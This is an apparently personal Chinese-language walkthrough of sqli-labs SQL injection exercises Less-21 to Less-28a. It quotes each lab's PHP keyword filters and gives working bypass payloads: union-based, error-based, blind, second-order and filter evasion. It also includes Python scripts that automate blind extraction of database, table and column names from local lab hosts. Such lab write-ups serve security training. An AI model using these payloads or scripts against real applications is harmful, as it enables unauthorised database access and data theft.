Less-21
cookie注入 引号和括号闭合 base64编码
PHP 的 $_COOKIE 变量用于取回 cookie 的值。
<?php // 输出 cookie 值 echo $_COOKIE["user"];
// 查看所有 cookie print_r($_COOKIE); ?>
Less-23
# 被过滤了
$id=$_GET[‘id‘]; //filter the comments out so as to comments should not work $reg = "/#/"; $reg1 = "/--/"; $replace = ""; $id = preg_replace($reg, $replace, $id); $id = preg_replace($reg1, $replace, $id);
SELECT * FROM users WHERE id=‘$id‘ LIMIT 0,1
Payloads:
?id=1‘ //报错,说明存在注入漏洞
?id=1‘ and ‘1‘=‘1 //恢复正常 存在 字符型 单引号注入
?id=1‘ union select 1,2,3‘ //还是返回正常页面
?id=-1‘ union select 1,2,3‘ //找出显示位
或者这样
?id=-1‘ union select 1,2,3 and ‘1‘=‘1
Less-24 二次注入
二次注入 就是 恶意语句 被插入数据库,因为数据库中的 数据 默认是可信的,所以没有经过处理,被调用的时候会造成注入
注册用户 admin‘# 密码:222222
成功插入数据,登录 admin‘# 修改密码为 000000,此时admin的密码被修改为000000了,admin‘#确没有发生变化
然后就可以用admin 000000进行登录
原SQL语句:UPDATE users SET PASSWORD=‘$pass‘ where username=‘$username‘ and password=‘$curr_pass‘
修改密码sql语句:UPDATE users SET PASSWORD=‘$pass‘ where username=‘admin‘#‘ and password=‘$curr_pass‘
最后真正执行的sql语句:UPDATE users SET PASSWORD=‘$pass‘ where username=‘admin‘
在数据库中的数据没有做任何检测,插入语句中,造成注入
Less-25
or 和 and 被过滤,大小写也无法绕过
or 可用 ||代替
and可用 && 或 %26%26 代替
-
大小写变形 Or,OR,oR
-
编码,hex,urlencode
-
添加注释/*or*/
- 利用符号 and=&& or=||
- 双写or或and绕过
function blacklist($id) { $id= preg_replace(‘/or/i‘,"", $id); //strip out OR (non case sensitive) $id= preg_replace(‘/AND/i‘,"", $id); //Strip out AND (non case sensitive) return $id; }
?id=1‘ //页面出现报错,存在注入 单引号
?id=1‘ %26%26 ‘1‘=‘1
?id=-1‘ union select 1,2,3 %26%26 ‘1‘=‘1 //找出显示位
或者报错注入
?id=1‘ || updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
Less-25a
or 和 and 被过滤 盲注版本
?id=1 aandnd If(ascii(substr(database(),1,1))=115,sleep(3),1)# //延时注入
?id=1 anandd substr(database(),1,1)=‘s‘ //布尔盲注
Less-26
基于错误_GET_过滤空格/注释_单引号_字符型注入
参考https://www.jianshu.com/p/ff72f2c6d99c
过滤一些关键 字符串
function blacklist($id) { $id= preg_replace(‘/or/i‘,"", $id); //strip out OR (non case sensitive) $id= preg_replace(‘/and/i‘,"", $id); //Strip out AND (non case sensitive) $id= preg_replace(‘/[\/\*]/‘,"", $id); //strip out /* $id= preg_replace(‘/[--]/‘,"", $id); //Strip out -- $id= preg_replace(‘/[#]/‘,"", $id); //Strip out # $id= preg_replace(‘/[\s]/‘,"", $id); //Strip out spaces $id= preg_replace(‘/[\/\\\\]/‘,"", $id); //Strip out slashes return $id; }
绕过过滤方法:
链接
这里有一个别人写的脚本判断哪些 URL 编码能够代替空格
import requests def changeToHex(num): tmp = hex(i).replace("0x", "") if len(tmp)<2: tmp = ‘0‘ + tmp return "%" + tmp req = requests.session() for i in range(0,256): i = changeToHex(i) url = "http://192.168.2.211/sqli-labs/Less-26/?id=1‘" + i + "%26%26" + i + "‘1‘=‘1" ret = req.get(url) if b‘Dumb‘ in ret.content: print("good,this can use:" + i)
运行结果
?id=1‘ //判断单引号 注入
?id=0‘%a0union%a0select%a02,database(),4%a0||%a0‘1‘=‘1 //获得显示位
Less-26a 盲注
?id=1‘%26%26(substr(database(),1,1)=‘3‘)||‘1‘=‘ //布尔盲注
?id=1‘%26%26(ascii(mid((select(group_concat(schema_name))from(infoorrmation_schema.schemata)),1,1))<65)||‘1‘=‘
Less-27
过滤了union 和select
过滤列表
function blacklist($id) { $id= preg_replace(‘/[\/\*]/‘,"", $id); //strip out /* $id= preg_replace(‘/[--]/‘,"", $id); //Strip out --. $id= preg_replace(‘/[#]/‘,"", $id); //Strip out #. $id= preg_replace(‘/[ +]/‘,"", $id); //Strip out spaces. $id= preg_replace(‘/select/m‘,"", $id); //Strip out spaces. $id= preg_replace(‘/[ +]/‘,"", $id); //Strip out spaces. $id= preg_replace(‘/union/s‘,"", $id); //Strip out union $id= preg_replace(‘/select/s‘,"", $id); //Strip out select $id= preg_replace(‘/UNION/s‘,"", $id); //Strip out UNION $id= preg_replace(‘/SELECT/s‘,"", $id); //Strip out SELECT $id= preg_replace(‘/Union/s‘,"", $id); //Strip out Union $id= preg_replace(‘/Select/s‘,"", $id); //Strip out select return $id; }
or
与and
,过滤了几个大小写的union
和select
但是可以用随机大小写绕过,过滤了--
、#
以及/**/
,过滤了两次空格
,过滤了/
但没过滤\
。所以实际上只过滤了
注释
与空格
,与 Less 26 相似。绕过方法
基于正确注入
?id=1‘ //发生报错
?id=1‘ and ‘1‘=‘1 //显示正常页面
?id=1‘ and ‘1‘=‘2 //页面返回错误 ,确定此处有字符型注入
?id=0‘%a0uNiOn%a0SeLeCt%a01,2,3%a0and ‘1‘=‘1 //找到显示位 与Less-26相同只是 union和select 字母随机大小写
问题:这里不需要 用 order by 判断字段数吗?如果用的话 我没弄出来
?id=0‘%a0uNiOn%a0SeLeCt%a01,database(),3%a0and ‘1‘=‘1 //库名
?id=0‘%a0uNiOn%a0SeLeCt%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0and ‘1‘=‘1 //表名
?id=0‘%a0uNiOn%a0SeLeCt%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name=‘users‘%a0and ‘1‘=‘1 //列名
基于报错注入
?id=0‘and%a0updatexml(1,concat(0x7e,(database()),0x7e),1)and‘1‘=‘1 //库名
?id=0‘and%a0updatexml(1,concat(0x7e,(sEleCT%a0table_name%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0limit%a0 1,1),0x7e),1)and‘1‘=‘1 //表名
?id=0‘and%a0updatexml(1,concat(0x7e,(sEleCT%a0column_name%a0from%a0information_schema.columns%a0where%a0table_name=‘users‘%a0limit%a0 2,1),0x7e),1)and‘1‘=‘1 //字段名
?id=0‘and%a0updatexml(1,concat(0x7e,(sEleCT%a0password%a0from%a0users%a0limit%a0 1,1),0x7e),1)and‘1‘=‘1 //字段内容
Less-27a 盲注
基于盲注
?id=1‘and%a0(length(database())=8)%a0or‘1‘=‘2 //盲注当length(database())=8时显示正常页面
?id=1‘and%a0(substr(database(),1,1)=‘s‘)%a0or‘1‘=‘2 //获得数据库名
盲注脚本代码:替换url和payload和判断正确错误的关键字即可
# _*_ coding:utf-8 _*_ import requests import urllib import time start_time = time.time() def database_length(url): values={} for i in range(1,100): values[‘id‘] = "id=1‘ and (select length(database()))=%s" %i print(values) data = urllib.urlencode(values) geturl = url+‘?‘+data response = requests.get(geturl) if response.content.find(‘Angelina‘)>0: return i def database_name(url): payloads = ‘abcdefghijklmnopqrstuvwxyz0123456789@_.‘ values={} databasename= ‘‘ aa = 15 aa = database_length(url) print(aa) for i in range(1, aa+1): for payload in payloads: values[‘id‘] = "id=1‘ and ascii(substring(database(),%s,1))=%s " %(i,ord(payload)) data = urllib.urlencode(values) geturl = url+‘?‘+data response = requests.get(geturl) if response.content.find(‘Angelina‘)>0: databasename += payload return databasename #print database_name(‘http://192.168.125.129/config/sql.php‘) def table_count(url,database): values={} for i in range(1,100): values[‘id‘] = "id=1‘ and (select count(table_name) from information_schema.tables where table_schema="+"‘"+database+"‘)"+"=%s" %i data = urllib.urlencode(values) geturl = url+‘?‘+data response = requests.get(geturl) if response.content.find(‘Angelina‘)>0: return i def table_length(url,a,database): values={} for i in range(1,100): values[‘id‘] = "id=1‘ and (select length(table_name) from information_schema.tables where table_schema="+"‘"+database+"‘"+" limit %s,1)=%s" %(a,i) data = urllib.urlencode(values) geturl = url+‘?‘+data response = requests.get(geturl) if response.content.find(‘Angelina‘)>0: return i def table_name(url,database): payloads = ‘abcdefghijklmnopqrstuvwxyz0123456789@_.‘ values={} table_name=[] bb = table_count(url,database) for i in range(0,bb+1): user= ‘‘ cc=table_length(url,i,database) if cc==None: break for j in range(0,cc+1): for payload in payloads: values[‘id‘] = "id=1‘ and ascii(substring((select table_name from information_schema.tables where table_schema="+"‘"+database+"‘"+" limit %s,1),%s,1))=%s " %(i,j,ord(payload)) data = urllib.urlencode(values) geturl = url+‘?‘+data response = requests.get(geturl) if response.content.find(‘Angelina‘)>0: user += payload #print payload table_name.append(user) return table_name #print table_name(‘http://192.168.125.129/config/sql.php‘,‘test‘) def column_count(url,table_name): values={} for i in range(1,100): values[‘id‘] = "id=1‘ and (select count(column_name) from information_schema.columns where table_name="+"‘"+table_name+"‘"+")=%s" %i data = urllib.urlencode(values) geturl = url+‘?‘+data response = requests.get(geturl) if response.content.find(‘Angelina‘)>0: return i def column_length(num,url,table_name): values={} for i in range(1,100): limit = " limit %s,1)=%s" %(num,i) values[‘id‘] = "id=1‘ and (select length(column_name) from information_schema.columns where table_name="+"‘"+table_name+"‘"+limit data = urllib.urlencode(values) geturl = url+‘?‘+data response = requests.get(geturl) if response.content.find(‘Angelina‘)>0: return i def column_name(url,table_name): payloads = ‘abcdefghijklmnopqrstuvwxyz0123456789@_.‘ values={} column_name=[] dd=column_count(url,table_name) for i in range(0,dd+1): user= ‘‘ bb=column_length(i,url,table_name) if bb==None: break for j in range(0,bb+1): for payload in payloads: limit=" limit %s,1),%s,1))=%s" %(i,j,ord(payload)) values[‘id‘] = "id=1‘ and ascii(substring((select column_name from information_schema.columns where table_name="+"‘"+table_name+"‘"+limit data = urllib.urlencode(values) geturl = url+‘?‘+data response = requests.get(geturl) if response.content.find(‘Angelina‘)>0: user += payload column_name.append(user) return column_name #print column_name(‘http://192.168.125.129/config/sql.php‘,‘admin‘) if __name__ == ‘__main__‘: url=‘http://192.168.1.117/sqli-labs/Less-62/index.php‘ databasename=database_name(url) print "The current database: "+databasename database=raw_input("Please input your databasename: ") tables=table_name(url,database) print database+" have the tables:", print tables for table in tables: print table+" have the columns:" print column_name(url,table) print ‘Use for: %d second‘ % (time.time() - start_time)
Less-28
基于错误_GET_过滤UNION/SELECT_单引号_小括号_字符型_盲注
function blacklist($id) { $id= preg_replace(‘/[\/\*]/‘,"", $id); //strip out /* $id= preg_replace(‘/[--]/‘,"", $id); //Strip out --. $id= preg_replace(‘/[#]/‘,"", $id); //Strip out #. $id= preg_replace(‘/[ +]/‘,"", $id); //Strip out spaces. //$id= preg_replace(‘/select/m‘,"", $id); //Strip out spaces. $id= preg_replace(‘/[ +]/‘,"", $id); //Strip out spaces. $id= preg_replace(‘/union\s+select/i‘,"", $id); //Strip out UNION & SELECT. return $id; }
没有过滤or
与and
。
过滤了相连的union
和select
,/i
同时匹配大小写,\s
匹配任意空白字符如制表符、换行符、空格等,使用%a0
可以绕过。
过滤了--
、#
以及/**/
。
过滤了两次空格
。
过滤了/
但没过滤\
。
基于正确注入
?id=0‘%a0uNiOn%a0sElEcT%a01,2,3%a0and ‘1‘=‘1 //这样直接报错
?id=1‘)%a0uNiOn%a0sElEcT%a01,2,3%a0and ‘1‘=(‘1 //正常显示
?id=0‘)%a0uNiOn%a0sElEcT%a01,2,3%a0and ‘1‘=(‘1 //找出显示位
数据库名、表名同Less-26 Less-27
Less-28a 盲注
?id=1‘)and%a0(length(database())=8)%a0or‘1‘=(‘2 //盲注
未完
Done!!!